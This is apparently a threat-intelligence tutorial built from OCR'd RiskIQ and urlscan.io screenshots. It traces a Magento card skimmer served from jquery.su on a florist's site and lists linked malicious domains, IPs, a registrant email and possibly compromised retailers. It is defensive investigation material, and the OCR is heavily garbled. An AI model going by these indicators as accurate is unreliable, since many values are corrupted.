children	0	www.flowerexplosion.com				query;	~	_			2019-05-23		2019-09-13	56	pript.src		
ARENT HOSTNAME (107		www.flowerexplosion.com					Open Link in New Win Open Link in Incognite	dow o Window			2019-01-22		2019-02-13	sc	cript.src		
× www.flower 103	0	www.flowerexplosion.com				kinfirig	Save Link As				2018-11-24		2019-01-27	54	cript.src		
× d1nfcimmipia 5		www.flowerexplosion.com				load.se	Copy Link Address				2018-11-10		2019-09-10	54	cript.src		
× media.floexp.c., 4		www.flowerexplosion.com				statica	Copy Go to jquery.su				2018-11-10		2019-09-10	56	priot.src		
× cdn.optimizely 2	-						Print_				2018-11-08		2018-11-08				
× static.addtoan 2		114109.0000.00				www.n	Blockade				2010-11-00		2010-11-05	*	pripesire		
v More	0	www.flowerexplosion.com				www.g	Google Translate	· ·			2018-08-10		2019-01-27	54	cript.src		
USE (10/154) R	0	www.flowerexplosion.com				ajax.go	Inspect				2018-06-23		2018-06-23	54	cript.src		
× script.src 46 × img.src 26	0	www.flowerexplosion.com				ajax.clt	Speech Services	:			2018-05-13		2018-05-13	54	cript.src		
× unknown 24	0	www.flowerexplosion.com				stats.wp.7	om	1.0			2018-04-28		2018-04-28	54	cript.src		
× link.href 7		www.flowerexplosion.com				secure.gr	avatar.com				2018-04-28		2018-04-28	54	cript.src		
× css.import 5		www.flowwrexplosion.com				s0.wp.com					2018-04-28		2018-04-28	50	cript.src		
ILD HOSTNAME (10740)	0	www.flowerexplosion.com				114109.00	tm.co				2017-10-06		2019-09-17	sc	cript.src		
× www.flowere 26		www.flowerexplosion.com				www.goo	gletagmanager.com				2017-05-29		2019-09-17	54	cript.src		
× d10ipsik1i8c6 3	0	www.flowerexplosion.com				my.hellob	ar.com				2017-05-01		2019-09-17	55	cript.src		
× d1nfcimmipia 3		www.flowerexplosion.com				assets.pc	1.00				2017-05-01		2017-11-15	56	cript.src		
× www.google-a 3		www.flowerexplosion.com				load sum	me.com				2017-02-11		2018-04-28	54	cript.src		
w More	0	www.flowerexplosion.com				html5shir	n.googlecode.com				2017-02-11		2018-04-28	ĸ	cript.src		
		d1nfcimmipiaw0.cloudfront.net				www.flow	erexplosion.com				2017-02-11		2019-09-10	56	cript.src		
	0	www.flowerexplosion.com				cs.luckyo	ange.net				2017-01-28		2017-04-04	54	cript.src		-
		www.flowerexplosion.com				d10lpsik1	Br60 cloudfront net				2016-10-29		2019-09-17		cript src		-



The location information on the Resolutions tab shows IP addresses from Ukraine, Singapore, and Russia. Flower Explosion is an American business and does not do business overseas. This could potentially be unusual.

Step 9: Click on the WHOIS tab.

→ C # comm	unity.riskiq.com/search/jquery.su														* 0	a 🧇 💌		0
RISKIQ	Q jquery.su 🛛 🔊															Tours	Enterprise	0
First Seen 2009-09-02 Last Seen 2019-09-10	2 Registrar BCCAN SU Registrart -	egorize																
	10 B R	Apr	1 - 1 - 1 5 - 1 - 1 7 - 1 - 1 7 - 1 - 1 7 - 1 - 1 7 -	May		Jun		м		Aug			Stp					
	2014 2017		1013	10		204			100			inci .		2014		2019-03-17 to 2	019-09-18	
DATA		26	4	9	7	0	5	56	10	15	32	ō	0					
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies					
CHANGE HISTORY	Checked by RiskiQ (Expl	19-05-21 res in 5 months (Creat	ted 7 months a	ago			REFRESH WHI	ATAS 210										
2019-05-21	Attribute	Value							a By submit	ting a ques	ry to RIP	W's Whois S	ervice					
2016-10-15	WHOIS Server	whois ripn.	net						<pre>% you agree % http://ww</pre>	<pre>to abide b w.ripn.net/</pre>	y the fo about/se	llowing ter rvpol.html#	ms of use: 3.2 (in Rus	sian)				
2016-08-30	Registrar	REGRU-SU							% http://ww	w.ripn.net/	/about/en	/servpol.ht	m1#3.2 (in	English).				
	Email	alexander	colmakov201	7@yandex.ru (re	gistrant)				domain: nserver:	JQUERY. nal.reg	.su g.ru.							
	Name								nserver: state:	ns2.req REGISTE	p.ru. DRED, DEL	EGATED						
	Organization								person: e-mail:	Private	e Person Ser.colma	kov2017#yan	dex.ru					
	Street								registrar: created:	REGRU-5 2019-02	90 2-27219:1	2:362						
	City								paid-till: free-date:	2020-03	2-27T19:1	2+362						
	State								source:	TCI								
	Postal								Last update	d on 2019-0	5-21117:	21:312						
	Country																	
	Phone																	
	NameServers	ns1.reg.ru																

We see that the domain is registered to Alexander[.]colmakov2017[@]Yandex[.]ru.

* 🗅 🗣 👁 🜒 🗢 🧷 🖸 . C # co E 🔿 RISKIQ Q jquery.su 📀 0 1 Tours Ent • Cate 2019-03-17 to 2019-09-18 * DATA Resolutions WHOIS Certificate Subdomains Trackers Components Host Pairs OSINT Hashes DNS Projects Cookies CHANGE HISTORY RECORD FROM 2019-05-21 Checked by RiskIQ [E 1 By submitting a query to RIPS's Whold Service 1 you agree to abide by the following terms of user 1 http://www.ripn.ext/about/een/servpol.html#3.2 (in Sosian) 5 http://www.ripn.net/about/en/servpol.html#3.2 (in English) 2019-05-21 Attribute Value 2016-10-15 WHOIS Server whois.ripn.net 2016-08-30 Registrat REGRUISU domain: nserver: nserver: state: person: e-mail: registrar: created: paid-till: free-date: source: SQUERY.50 nsl.reg.ru. hs2.reg.ru. REGISTERED, DELEGATED Private Person alexander.comakov201 REDEL-60 Email alexander Open Link in New Tab Open Link in New Window Open Link in Incognito Win Name Organization Save Link As... Copy Link Address Street REGRU-SU 2019-02-27T19:12:36E 2020-02-27T19:12:36E 2020-03-31 TCI Copy Search Google for Print... City State Blockade
 FatBeagle
 Google Tra Last updated on 2019-05-21117:21:318 Postal Country Inspect Phone Speech Services . ns1.reg.ru ns2.reg.ru NameServers

Right-click on the email address and open it in a new tab.

C # community.ris	sklq.com/search/whois/email/alexander.colmakov2017@yandex.	ur.		* 0 9 0 0	• • • • •
🙆 RISKIQ 🔍 al	lexander.colmakov2017@yandex.ru			Tour	s Enterprise
alexander.colmakc	ov2017@yandex.ru				
	many a				
DATA	I management				
TERS O	WHOIS SEARCH O				
icus (ara)	Show: 25 4 13 or 3 * Sort: Repstered Desc	enong • Iotal Records : s	Registered	Expires	Taes
(A)L (17.3)	googletagnamager.com	alexander.colmakov2017@yandex.ru	2019-03-16	2020-03-16	
GISTRAR (273)	guery.su	alexander.colmakov20178yandex.ru	2019-02-27	2020-02-27	
WER (2/10)	serversoftwarebase.com	alexander.colmakov2017@yandex.ru	2018-10-18	2019-10-18	
ME 12735					
GANIZATION (173)	1-3 of 3				
IONE (273)					

The URL should now show:

https://community.riskiq.com/search/whois/email/alexander.colmakov2017@yandex.ru

whois	SEARCH ❹ Show:25 ← 1-3 of 3 ► Sort:Registered	Descending 🔻 Total Records : 3		
	Focus	Email	Registered	Expires
	googletagnamager.com	alexander.colmakov2017@yandex.ru	2019-03-16	2020-03-16
0	jquery.su	alexander.colmakov2017@yandex.ru	2019-02-27	2020-02-27
0	serversoftwarebase.com	alexander.colmakov2017@yandex.ru	2018-10-18	2019-10-18
1-3 of 3	i.			

We now see Alexander has registered 3 different domains. A typo squatted googletagmanager domain named googletagnamager[.]com, jquery.[su], and serersoftwarebase[.]com.

Step 10: Go back to the previous tab for the results for jquery[.]su.

Click on the Certificate tab and expand the SHA-1 results to identify where the certificate came from.

															·		
	o la														Tours	Ehterprise	0
First Seen 2009-09-02 Ra	pitrar Receipt O Categor	ize															
Devices Devices and Device	414/20				7			56	10	15	12						
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies				
												1.					
ILTERS O	CERTIFICATE O																
SHA-1 (973)	Show: 25 + 1-9 of 9 +	Sort : Last Seen	n Descending														
✓ × 30e167a6652d 1	SHA-1							Fir	st Seen			Last Seen		Infra	istructure		
✓ X 31e200d5d94 1	adef48229ca918dbbcea	5d8d71b1e7871bc	b8516					20	19-07-13			2019-09-1	1	176	119.1.112		
√ × 66e8b897aa1 1	issued	2019-07-12															
✓ × 7febce5f9cdd 1	Expires	2019-10-10															
✓ × 88d91d4878b 1	Serial Number	32986193435289	79904077907	12154905590317	076												
how More	SSL Version	3															
FIRST SEEN (0/3)	Common Name	Let's Encrypt Aut jquery.su (subjec	thority X3 (iss t)	uer)													
✓ × 1551326900159 2	dimension a biogene	jquery.su (subjec	1)														
✓ × 1556582998920 2	Alternative Names	www.jquery.su (subject)														
✓ × 1562950786243 2	Organization Name	Let's Encrypt (iss	uer)														
✓ × 1551421590000 1	Organization Unit																
√ × 1557044054000 1	Street Address																
how More	Locality																
LAST SEEN (87/8)	State/Province																
✓ × 1556582998920 2	Country	US (issuer)															
✓ × 1551326900159 1																	
✓ × 1551929816308 1	* 30e167a6652da5721dc1	1e929d877cS8bd4	ba015					20	19-07-12			2019-07-1	4	N/A			
× × 1556952438000 1	issued	2019-07-12															
	Expires	2019-10-10															
how More	Serial Number	32986193435289	79904077907	2154905590317	076												
	SSL Version	3															
V X N/A 6	Common Name	Let's Encrypt Aut	thority X3 (iss	uer)													
✓ × 217.8.117.140 2 ✓ × 176.119.1.112 1	Alternative Names	jquery.su (subjec	t) subject)														
	Organization Name	Let's Encrypt fice	uert														
	Organization Unit	and a man part (as															
	Street Address																
	Locality																
	Course Description																-

The results show that the domain jquery[.]su is utilizing free let's Encrypt SSL certificates. This is a common item we see with threat actors.



Step 11: Click on the Subdomains tab.

Each of the subdomains could have completely different infrastructure associated with it. We will investigate this later in a different use case.

Step 12: Click on the Components tab

We see a very lean components list. Threat actors do not usually stand up components they do not utilize. We can see they this domain utilizes PHP, nginx, and JQuery.



Step 13: Click on the Host Pairs tab

														Contraction of	
		- 9											1043	Enterprise	v
J Last Seen 2019-09-18 Regis	o Car	tegorize													
		26 Resolutions	4 WHOIS Care	9 ficate Subs	7 formaline Tru	0 9	55 Most Pairs	10 OSINT	15 32 Hashes DNI	0 Projects	0 Conkies				
UTERS O	HOST PAIRS O	-				components		-		, represe					
DIRECTION	∩ • Show:25 •	1-25 of 56 + Sort	Last Seen Descend	ng *										Downloa	d Cop
✓ parents	Parent Ho	ostname				Child Hostname			First		Last	Cau	se	Tags	
✓ children	0 www.rust	hmypassport.com				jquery.su			2019-09-03		2019-09-17	scrip	x.src		
PARENT HOSTNAME (107	O www.gree	eniam.com				jquery.su			2019-07-05		2019-09-16	scrip	it.src		
 × www.islandwa 2 	jąuery.su					jquery.com			2019-03-15		2019-09-16	redu	rect		
✓ ≍ 217.8.117.140 1	www.stor	rables.com				jquery.su			2019-04-10		2019-09-15	scrip	,t.src		
✓ ೫ aporganics.com 1	O www.flow	verexplosion.com				jquery.su			2019-05-23		2019-09-13	scrip	A.SIC		
 X bat.bing.com X ods liverbatin 	D bat.bing.c	com				Jquery.su			2019-09-06		2019-09-11	sorig	,r.src		
ow More	dinfcimm	niplaw0.cloudfront.net				jquery.su			2019-09-10		2019-09-10	scrip	et.src		
CAUSE (1756)	to kegnbott	le.com				jquery.su			2019-09-09		2019-09-09	scrip	Asrc		
✓ X script.src 53		gietagmanager.com				jquery.su			2019-09-08		2019-09-08	scrig	stare		
✓ × redirect 2 ✓ × unknown 1	O aporgania	cs.com				jquery.su			2019-05-21		2019-09-04	scrip	e.src		
CHILD HOSTNAME 12/30	G seduce.co	om.au				jquery.su			2019-05-18		2019-07-21	song	pt.src		
√ x jąuery.su 55	O www.sed	luce.com.au				jquery.su			2019-05-31		2019-07-04	scrig	pt.src		
√ × jquery.com 1	O www.arts	oftea.com				Jouery su			2019-06-12		2019-06-19	scrip	pt.src		
	www.thel	fabricco.com				jquery.su			2019-05-22		2019-06-17	scrip	pt.src		
	D www.365	garagedoorparts.net				jquery.su			2019-05-30		2019-06-07	scrit	pt.src		
	217.8.117	.140				jquery.su			2019-04-30		2019-06-06	redi	rect		
	www.fbe	minstrumentsales.com				jquery.su			2019-05-27		2019-05-30	sorie	pt.src		
	C threats.de					jquery.su			2019-05-25		2019-05-25	scrig	pt.src		
	O www.liter	ra.ro				jquery.su			2019-04-11		2019-05-01	scrig	st.src		
	0	emos.com.ar				lovery su			2019-04-11		2019-04-22	scrit	pt.src		-
															-

The results show us all of the domains that are going to jquery[.]su and running JavaScripts. From the names listed most appear to be online retailers. If jquery[.]su is determined to be malicious all of these domains might also be compromised.

Step 14: Click on the Resolutions tab

Right-click on the IP address 5[.]188[.]44[.]32 and open it in a new tab.

C RISKIQ Q Jq	Jery.su	0															Tours	Enterprise	
First Seen: 2009-09-02 Reg Last Seen: 2019-09-18 Reg	istrant -	••••	Categorize																
			26	4	9	. 2	0	9	56	10	15	32	0	0					
			Resolutions	WHO	S Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies					
ers O	RE50	LUTIONS 0																	
26.7.285	0.	Show: 25	• 1-25 of 26 • Sor	rt : Last See	n Descending 🔹													Download	d
× 144.76.40.132 1		Resolve	Locatio	on I	letwork	ASN	First	Last		Source					Tags				
× 176.119.1.112 1	0	176,119,1,11	2 UA	1	76.119.1.0/24	58271	2019-07-1	0 20194	19-18	emerging_thre	ats, kasperskj	r, pingly, risk	óq						
× 178.218.213.118 1	0	202.51.240.1	21 56		02.51.240.0/21	7610	2019-09-1	6 2019-	29-16	kaspersky									
x 185.53.179.6 1	0	5.188.44.32	-		44.0/22	44050	2019-06-2	1 20194	07-10	kaspersky, pin	gly, riskiq								
Aore		217.8.117.1	Open Link in New V	Nindow	zem		2019-02-2	7 2019-	6-21	emerging_thre	ats, kasperskj	, pingly, risk	óq						
VORK (14/25)	0	104 58 56 1	Open Link in Incogr	nito Windo	856.0/24	197695	2017-11-0	5 2017.	1.07	riskin									
x 194.58.56.0/24 7	-		Copy Link Address			107605				debia									
× 193.232.158.0 4		194.58.56.1	Сору		5.56.0724	197690	2017-11-0	a 2017-	11-03	nsiog									
× 185.53.176.0/22 2		194.58.56.1	Go to 5.188.44.32 Print		8.56.0/24	197695	2017-11-0	2 2017-	11-02	riskiq									
× 31.31.204.0/24 2	0	194.58.56.1	📀 Blockade		· 8.56.0/24	197695	2016-09-0	5 2017-	11-01	riskig									
More		185.53.179.	 FatBeagle Google Translate 		* 8.176.0/22	61969	2016-11-0	4 2017-	10-03	riskiq									
03729	0	54.72.9.51	Inspect		0.0/16	16509	2017-08-2	3 2017-	18-28	riskig									
× 197695 9	0	185.53.178	Speech		► 1.176.0/22	61969	2016-10-1	9 2016-	11-01	riskiq									
× 48287 4	0	31.31.204.16	Services KU		1.31.204.0/24	197695	2016-10-0	7 2016-	10-11	riskig									
× 61969 2		194.58.56.16	s RU		94 58 56 0/24	197695	2016-09-0	7 2016-	19-07	riskig					T shot		T Table		
× 16509 1										- 26						and Colones	and Caluma.		
Aore		194.58.56.17	1 KU	-	94.58.56.0/24	13/035	2016-09-0	4 20164	79-04	nskiq									
QUE RESOLVE IT / 281		194.58.56.17	4 RU	1	94.58.56.0/24	197695	2016-09-0	3 2016-	79-03	riskiq									
× Show Unique 26	0	72.52.4.121	US	1	2.52.4.0/24	32787	2014-09-1	6 2016-	18-28	kaspersky, risk	pù								
tus		144,76,40,13	2 DE	23	44.76.0.0/16	24940	2014-07-2	6 20144	18-26	riskig									
RCE (47.33)		193.106.248	116 UA	1	93.106.248.0/22	50499	2013-06-0	4 2013-	18-25	riskiq									
× riskiq 25	0	31.31.204.60	RU	-	11.31.204.0/24	197695	2013-08-0	1 2013-	08-21	riskiq									
× kaspersky 5		95.131.29.9	RU	1	6.131.29.0/24	49063	2012-11-0	6 2013-	15-22	riskiq									
x pingly 3	0	191.232 158	taa Rii		93 232 158 0/23	48287	2012-07-3	6 2012.	11-02	riskia									
nmunity riskig com/search/5.18	8.44.32	100404-100		0	MAR. CANDLY														

$\leftarrow \rightarrow$ C iii community.ri	iskiq.com/search	/5.188.44.32													* 0	De 🕫	٠	0 1	0
🗉 🙆 RISKIQ 🔍 5	.188.44.32	0															Tours	Enterprise	0
Dirth Seen 2019-06-21 A	GN Petersburg	g Internet	E Petersburg-b	sternet Network Lt	L D Route	👀 🖸 Catego	rize												
			_																
Query Results																			
* ANALYST INSIGHTS																			
Not a Ter E	East Node Open P	ort Last Detected -	2 morthi agi	Nata Provy Pesa	t Last Observed	() months ago	Infrastructure R	Horas a V	Web Server										
																		LEGEND	
HEATMAP The carr disk / a	high-click the beamsigh	to filter the results.	haddee																
		54																	
		Mo								2									
		74								2									
		75								10,00									
		- RP						2											
		54							2 2										
			Apr		May		345		Jul		Au	£		Sep					
* DATA																			
				1	2	3	0	1	0	3	0	0	0						
				Resolutions	WHOIS	Certificate	Trackers	Components	Host Pairs	OSINT	Hashes	Projects	Cookies						
FILTERS 0	RESOLUT	IONS O																	
DOMAIN (1718		aw:25 + 1-	3 of 3 ► So	rt : Last Seen Desc	ending *													Down	oad Copy
✓ x googletagnam 1		Resolve					First			ast			Source					Tags	
✓ X jquery.su 1		jquery.su					2019-06	-21	1	019-07-10			kaspersky, p	ingly, riskiq					
✓ ≍ major.ms 1		googletage	amager.com				2019-06	-21		019-07-09			kaspersky, ri	iskiq					
UNIQUE RESOLVE (17.3)	0	mains and					2019.04	.22		019-06-25			katnertiv r	ickia					
✓ × Show Unique 3		maparino					1017-01	***					hanger soft.						
STATUS	1-3 of 3																		
SOURCE (1/7)																			
✓ X kaspersky 3																			0
✓ X riskiq 3																			
✓ × pingly 1																			-

The results show 1 new domain. Now we have identified jquery[.]su, googletagnamager[.]com, serversoftwarebase[.]com, and now major[.]ms.

Step 15: Right-click on googletagnamager[.]com and open it in a new tab.

\leftrightarrow \rightarrow \bigcirc iii community.ris	ikiq.com/search/5.188.44.32					* 🗅 🕼 🚸 🖲 🗣 🖉 🗗 💽 🗑 🗄
	188.44.32 0					Tours Enterprise 🛛 👤
First Seen 2019-06-21 AS	N Petersburg Internet	tersburg-internet-Network-Ltd. 🛽 Routable 🧿 (ategorize			
Last Seen 2019-07-10 Nor	NINA 118.44.972					
Query Results						
* ANALYST INSIGHTS			_			
Not Backlisted Not a Tor De	of Node Open Port Last Detected 2 month	ht age Nett a Proxy Heat Last Observed 3 menths a	Infrastructure Routable - Husto	s.a Wieb Stroler		
• HEATMAP Thu car clob / and	S-click the beam-up to filter the results below					LEGEND
	Su					
	Mg T _{ill}					
	We			1 1 1		
	tr.			1 1		
	Sa	Apr May	Jun	Jul 2	Aug Step	
* DAIA		3 2 3	0 1	0 3	0 0 0	
		Resolutions WHOIS Certific	ate Trackers Component	ts Host Pairs OSINT	Hashes Projects Cookies	
FILTERS O	RESOLUTIONS 0					
DOMAIN 073	Show: 25 + 1-3 of 3	Open Link in New Tab Open Link in New Window	Gent	Last	Gauera	Download Copy
√ X jquery.su 1	jquery.su	Open Link in Incognito Window Save Link As	2019-06-21	2019-07-10	kaspersky, pingly, riskiq	1.45
√ X major.ms 1	🗆 googletagnamag	Copy Link Address	2019-06-21	2019-07-09	kaspersky, riskiq	
VNIQUE RESOLVE (173)	🖾 major.ms	Go to googletagnamager.com	2019-06-22	2019-06-25	kaspersky, riskiq	
STATUS	1-3 of 3	Blockade				
SOURCE (177)		Google Translate				
✓ X kaspersky 3		Inspect				0
https://community.riskiq.com/search/goo	ogletagnamager.com	Services F				
← → C ■ community.ris	skiq.com/search/googletagnamager	r.com				* 🖸 🎙 🔅 🖲 🔍 🧭 1
	oogletagnamager.com	0				Tours Enterprise 😧 👤
First Seen 2019-03-16 Reg	gistrant -	ategorize				
Query Results						
* ANALYST INSIGHTS						
Not Backlisted Reading P	with Blacklined Registered 6 marths ag	Diplanet 6 minths age E.P. for subdomains	New subdomain 2 invention ages	stered Resolves to 19 Not Alexa 1	100K 3 domains share whois record 33385 domains share Kamasa	Crawled By RiskIQ 2 days ago
Not an international Domains						
· INTETTALS	A risk the homeon to this the cardin holes:					LEGEND 📕 🖬 🛐 👘 🖤
	Ma to the					
	The All of A					
	54					
		Apr May	, pro	Ju	Aug Sep	
			2019-03-17 to	2019-09-18		
* DATA						
	0.00	6 2 14	2 0 6	14 9	4 11 0 1	
		resolucions WHOIS Certificate Subd	omains Trackers Compo	ments Host Pairs OSINT	Hasnes DNS Projects Cookies	
FILTERS O	RESOLUTIONS O	Sort - Last Seen Descending				Description Com-
× × 176.119.1.112 1	Resolve	Jort : Last Seen Descending * Location Network	ASN	First Last	t Source	Download Copy Tags
✓ × 198.251.83.27 1	176.119.1.112	UA 176.119.1.0/24	58271	2019-07-10 201	9-09-18 kaspersky, pingly, riskiq	
✓ × 217.8.117.140 1 ✓ × 217.8.117.141 1	5.188,44.32	RU 5.188.44.0/22	44050	2019-06-21 201	9-07-09 kaspersky, riskiq	
✓ × 5.188.44.32 1 Show More	217.8.117.140	N/A Unknown	1	2019-06-05 201	9-06-21 kaspersky, pingly, riskiq	
NETWORK (4/4)	217.8.17.141	N/A Linknown	59729	2019-08-03 2019-03-22 2019-03-2019-00-03-2019-03-2019-03-2000-000-000-000-000-000-00-000-000-	9-06-03 kaspersky, ninkly, riskin	Q

We can see that this domain has been active since 2019-03-16 to present. It is been located to IP addresses in Ukraine and Russia.

Step 16: Click on the OSINT tab.

\leftrightarrow \rightarrow C \equiv community.risk	kiq.com/search/googletagnama	ager.com												*	0 4 4	۰ ک	• 1 🖸	@ E
	ogletagnamager.com	0														Tours	Enterprise	01
First Seen 2019-03-16 Regi	Norar POR Lod. drive Public.	Categorize																
	5	an land la			1													
		Apr		May		3m		Jul		Aug			Sep					
							2019-03-17 to 2019-0	18										
* DATA		6	2	14	2	0	6	14	9	4	ii	0	12					
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies					
FILTERS 0	OSINT 0																	
SOURCE IN/IN	Show:25 + 1-9 of 9 +	Sort : Last Seen	Descending	÷													Download	Сору
√ × uriscan.io 3	Source			Link								1	ags					
✓ ೫ bgp.he.net 2	github.com			https://gith	ub.com/gwillem/r	magento-malw.	are-scanner						• search-engine	• gthub				
✓ X gotub.com 1 ✓ X mwscan.s3.a., 1	www.reddit.com			https://www	w.reddit.com/r/M	agento/comme	nts/chy31m/f						* search engine	• reddit.				
✓ X www.reddit.co 1 Show More	uriscan.io			https://uris	can.io/asn/AS600	31							search engine	• urlscan				
LINK (973)	www.robtex.com			https://www	w.robtex.com/dns	-lookup/google	etagmanager						search engine	• robtex				
✓ × https://bgp.he 1	uriscan.io			https://urls	can.io/ip/104.16.1	4.15_							S search engine	• uriscan				
✓ X https://bgp.he 1 ✓ X https://github 1	bgp.he.net			https://bgp	he.net/net/176.1	19.1.0/24							S search engine	1 N M				
✓ X https://mwsca 1	uriscan.io			https://uris	can.jo/asn/AS582	71							• search engine	• uristan				
	bgp.he.net			https://bgp	he.net/net/217.8	117.0/24							• search-engine	the file				
TAG (7/18)	mwscan.s3.amazonaws.com			https://mw	scan s3 amazonai	ws.com/mwsca	n.txt						• search-engine	• amazona				
	1-9 of 9																	
Show More	Bahrs Reserved. Proprietary and co	nfidential: do not d	istribute with	out prior approv	of. Privacy Pol	icy Terma at	nd Canditians										0	9

Click on the link for Reddit.

https://www.reddit.com/r/Magento/comments/chy31m/fake_google_domains_used_in_evasive_magento/?ref=readnext



The results mention jquery[.]su, googletagnamager[.]com and how it is involved in a skimmer. Now we have confirmation that jquery[.]com is associated with malicious activity. It also says that the attack is against Magento and that is what our website uses for its online store.

But only if we had the server to see the jquery[.]su script. Is our investigation over?

No, we can utilize other tools that might have captured the website and preserved it.

Step 17: Crawl the website www[.]flowerexplosion[.]com utilizing urlscan.io

We are now going to use a tool to visit and crawl the website www[.]flowerexplosion[.]com.

This is a safe way to investigate a website's content without directly going to the website. You can just view the results from the web crawl and understand what is happening. This will prevent your computer from potentially getting compromised and potentially tipping off the threat actor that you are investigating them.

In a new tab open the website https://urlscan.io

Search for www[.]flowerexplosion[.]com

www.flowerexplosion.com	► Public Sca	n © Option		
Recent scans Oppdates every 10s - Last update: 15:17:49		證API	L Manual @ Auto	
🚔 URL	Submitted	Size ≓	IPs 🏴 🕈	
www.systematicwin.org/c/pixel/track.png	21 seconds ago	272 B 1	1 1 🚍	
D pabloyloschicos.es/P/customer_center/customer-IDPP00C129/myaccount/signin/	26 seconds ago	110 KB 4	1 1 🔳	
www.suncityhiltonhead.org/	27 seconds ago ا	6 MB 53	15 3 📕	
ww1.eartlink.net/?sub1=1602f678-da62-11e9-a542-6b8566f56d1f	27 seconds ago	117 KB 13	8 2 💻	
Canlimacizle.ezgitour.com/jestyayin-hd-getafe-trabzonspor-maci-sifresiz-canli-i	27 seconds ago 🚊	346 KB 24	4 3 🖸	
john.net.pl/display.php?M+21171367&C+65e8194e4e9a9c9a7b60145da06fe7c3&S	30 seconds ago	182 B 1	1 1 🕳	
tracking.lismah.com/aff_i?offer_id=2404&file_id=4586&aff_id=1031	33 seconds ago 🛛	378 B 1	1 2 11	
dan.com/buy-domain/iconfoams.com?redirected=true&tid=com	34 seconds ago 🔤	3 MB 58	14 5 💻	
Is-microsoft.com/fonts/segoe-ul/west-european/normal/latest.woff	39 seconds ago 🔢	0B 1	1 1	
news.advicebelgiumnewsletter.com/tr/p.gif?uid=9102911586∣=853376691&	39 seconds ago	272 B 1	1 1 💻	
14327380 public scans - 27097540 in total				
Thanks to our sponsors				
 ✓ SecurityTrails Ti 	nes			

Step 18: Review the results



Click on the HTTP tab.

In your browser application search for "jquery.su"

← → C 🔒 urlscan.io/result/e1823eft	-70c3-406a-a209-2dc69ed67bba#transactions				0 1	è (۲	• •	1 5	6
	Submitted URL: http://www.flowerexplosion.com Effective URL: http://www.flowerexplosion.com/ Submission: On September 11 is vi anault. (September 11 abit 2019, 10:17:52 pm) from US		jquery.su 0/0	Ä	×	-					
	Asummary ≓HTTP 134 ©Links 10 ■Behaviour ♦loCs &Similar (772)	DOM 🔓 Content 💱 API									
	136 HTTP transactions	Everything	NTML Script NAIAX NCSS 4	<u>k</u> Expand a	all						
	Method Resource Protocol Status Path	Size Time Type x-fer Latency MIME-Type	IP Location								
	GET 200 / Show response H2 Redirect Chain	199 KB 1047ms Document 21 KB 1047ms text/html	2606:4700:30::6818:6153	•	k.						

No results. Is the investigation over?

No, we can look at the previous crawls and see if they detected jquery[.]su on our server.

Click on Search on the title bar.



Search for www[.]flowerexplosion[.]com

a/search/#www.flowerexplosion.com										\$	\$
Q urlscan.io	A Home Q Search	Шарі 🎝 Ц	ve 🛛 About	1 bpowell	Special av				running.		ning
	Search fo	or doma	iins, IPs,	filenam	es, hashes, ASNs						
	www.flowerexplosion	LCOM			Search! C Re	load					
					Help & E	amples					
Search results	20 / 20, sorted by date)								Detail		Detail
M URL					Submitted	Size	2	IPs	m #		ŧ.
1 URL: www.floweres P: 2666-4700-30-681 GeolP: 1.US - A5133	cplosion.com/ (8:6153 - Server: cloudflare (35 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			7 minutes ago Via: manual	3 MB	136	23	5 🔳		-
2 URL: www.floweres IP: 2606-4700-30-681 GeolP: 11./US - A5133	kplosion.com/ (8:6053 - Server: cloudflarn (35 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			1 day ago Via: manual	3 MB	136	24	5 📕		
3 URL: www.flowerex IP: 2406-4700-30-681 GeolP: ■, US - A5133	cplosion.com/ 8.6053 - Server: cloudflare 135 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			1 day ago Via: manual	3 MB	136	23	5 🔳		-
4 URL: www.floweres IP: 2406-4700:30-681 GeoIP: 1	xplosion.com/ (8:6053 - Server: cloudflare (35 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			1 day ago Via: manual	3 MB	136	22	5 🔳		-
5 URL: www.floweres IP:2606-4700:30-661 GeoIP: 10.12 - A5133	kplosion.com/ (8:6053 - Server: cloudflare (35 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			7 days ago Via: manual	3 MB	138	24	6 🔳		-
6 URL: www.floweres IP: 2406-4700-30-681 GeoIP: III. US - A5133	colosion.com/ 8:6153 - Server: cloudflare 135 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			8 days ago Via: manual	3 MB	138	25	6 📕		-
7 URL: www.flowerex IP: 2606-4700-30-681 GeoIP: 11.05 - A5133	olosion.com/ 8:6053 - Server: cloudflare 135 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			9 days ago Via: manual	4 MB	138	23	6 🔳		-
8 URL: www.flowerev IP: 2606-4700-30-681 GeolP: 10.05 - A5133	xplosion.com/ 8:6153 - Server: cloudflare 135 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			21 days ago Via: manual	3 MB	139	24	6 🔳		-
 URL: www.flowerey IP: 2606-4700-30-601 GeolP: III.US - A5133 	xplosion.com/ 8:6153 - Server: cloudflare 05 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			21 days ago Via: manual	3 MB	136	23	6 🔳		-
10 URL: www.floweres 19: 2406-4700-30-681 GeolP: 10. / V- A5133	xplosion.com/ 8:6053 - Server: cloudflare 135 (CLOUDFLARENET - Cloudfl	lare, Inc., US)			21 days ago Via: manual	3 MB	136	22	6 📕		
11 URL: www.floweren	oplasion.com/				22 days ago	3 MB	122	13	5 🔳		

Results are from a few minutes ago to 22 days ago.

Click on a result from over a week ago.

https://urlscan.io/result/7d576659-d723-49f9-995e-d4e8cad6092f/



Click on HTTP in the blue title bar, then search for "jquery.su"

							leasers as		
ET H2	200	Award.png /kin/frontend/smartwave/porto/css/cbi		5 KB	785ms	Image image/png	Cloudflare	<u> </u>	J
A GET	200	authorize merchant and		5 KR	814ms	Image	2606-6700-30-6818-6053		
H2	200	/skin/frontend/smartwave/porto/css/cbi		SKE	807mi	image/png	Cloudflare		
GET H2	200	secure_website.png /skin/frontend/smartwave/porto/css/cbi		10 KB	796ms	Image image/png	2606:4700:30::6818:6053	۹.	
